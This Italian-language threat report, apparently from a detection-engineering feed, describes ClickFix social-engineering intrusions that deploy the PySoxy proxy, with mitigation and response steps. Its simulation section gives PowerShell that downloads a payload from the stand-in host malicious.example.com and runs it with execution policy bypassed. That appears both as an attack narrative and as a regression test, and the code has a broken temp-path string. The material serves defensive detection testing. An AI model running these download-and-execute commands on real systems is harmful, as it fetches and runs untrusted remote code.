ClickFix si Evolva con il Proxying di PySoxy

Riepilogo

ClickFix è una tecnica di consegna basata sull’ingegneria sociale che ora viene combinata con il proxy SOCKS5 open-source PySoxy per creare un canale di accesso secondario crittografato. L’intrusione inizia quando un utente esegue un comando PowerShell dannoso, che imposta la persistenza del task pianificato e avvia una sessione di comando e controllo di PowerShell in memoria. Dopo la ricognizione iniziale, l’attaccante scarica ed esegue PySoxy per stabilire un secondo percorso crittografato nell’ambiente. Questo uso modulare di strumenti basati su interprete rende più difficile sia il rilevamento che il contenimento dell’incidente.

Indagine

ReliaQuest ha osservato un singolo comando ClickFix guidato dall’utente che ha lanciato uno stager PowerShell offuscato, creato un task pianificato, eseguito una ricognizione del dominio e successivamente scaricato un file di codice byte Python compilato denominato b64.pyc, eseguito con python.exe. Il componente PowerShell ha agito come un leggero RAT, interrogando il suo server di comando e controllo ogni tre secondi. I ricercatori hanno anche visto l’attaccante usare curl per caricare log e recuperare il payload PySoxy dallo stesso server di staging.

Mitigazione

I difensori dovrebbero rilevare e bloccare i lanci di PowerShell sospetti che originano da explorer.exe, monitorare per task pianificati che eseguono comandi PowerShell nascosti e cercare esecuzioni Python usando argomenti relativi al proxy come -ssl, -remote_ip, e -remote_port. I team di sicurezza dovrebbero anche ispezionare il traffico in uscita verso i domini e indirizzi IP identificati e rimuovere eventuali script PowerShell persistenti o .pyc file trovati in ProgramData.

Risposta

Se vengono trovati indicatori correlati, isola immediatamente l’host interessato, disabilita l’account utente compromesso, rimuovi il task pianificato dannoso, elimina lo script PowerShell e gli artefatti PySoxy e scansiona il sistema per ulteriori residui. I difensori dovrebbero anche confermare che il traffico in uscita verso l’infrastruttura identificata sia bloccato e verificare che non rimangano attivi altri meccanismi di persistenza.

Esecuzione Simulazione

Prerequisito: Il controllo pre-volo di Telemetry & Baseline deve essere stato superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per innescare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento.

• Narrativa e Comandi di Attacco:

  1. Obiettivo: Stabilire un canale C2 basato su PowerShell (ClickFix) che scarica un payload dannoso da un server remoto e lo esegue furtivamente.
  2. Metodo: L’attaccante lancia powershell.exe con il set di flag esatto che la regola monitora (-NoProfile and -ExecutionPolicy Bypass) e usa Invoke-WebRequest per recuperare il payload.
  3. Perché questo metodo: Utilizzando PowerShell nativo di Windows e la comune Invoke-WebRequest cmdlet, l’avversario evita di scaricare strumenti di terze parti, riducendo la possibilità di rilevamento AV mentre corrisponde al comportamento noto di ClickFix catturato nella regola.

  # Step 1: Scarica lo script dannoso (simulato come un file di test benigno)
  $url = "http://malicious.example.com/payload.ps1"
  $out = "$env:TEMPpayload.ps1"
  Invoke-WebRequest -Uri $url -OutFile $out
  
  # Step 2: Esegui lo script scaricato usando gli stessi parametri di lancio che la regola osserva
  powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out

• Script di Test di Regressione:

  # ==============================================
  # Simulazione C2 PowerShell ClickFix (TC-20260514-3G7ZK)
  # ==============================================
  
  # Definisci variabili
  $url = "http://malicious.example.com/payload.ps1"
  $out = "$env:TEMPpayload.ps1"
  
  # 1. Scarica un payload fittizio (agisce come il recupero C2)
  Write-Host "[*] Scaricamento del payload..."
  try {
      Invoke-WebRequest -Uri $url -OutFile $out -UseBasicParsing
  } catch {
      Write-Error "Scaricamento fallito: $_"
      exit 1
  }
  
  # 2. Esegui il payload con i flag esatti monitorati dalla regola
  Write-Host "[*] Esecuzione del payload con -NoProfile -ExecutionPolicy Bypass"
  powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out
  
  Write-Host "[+] Simulazione completata."
  # ==============================================

• Comandi di Pulizia:

  # Rimuovi il file di payload temporaneo
  if (Test-Path $out) {
      Remove-Item -Path $out -Force
      Write-Host "[*] File payload rimosso."
  }
  
  # Interrompe facoltativamente qualsiasi processo PowerShell residuo lanciato dal test
  Get-Process -Name "powershell" | Where-Object {$_.Path -like "*powershell.exe"} | Stop-Process -Force
  Write-Host "[*] Pulizia completata."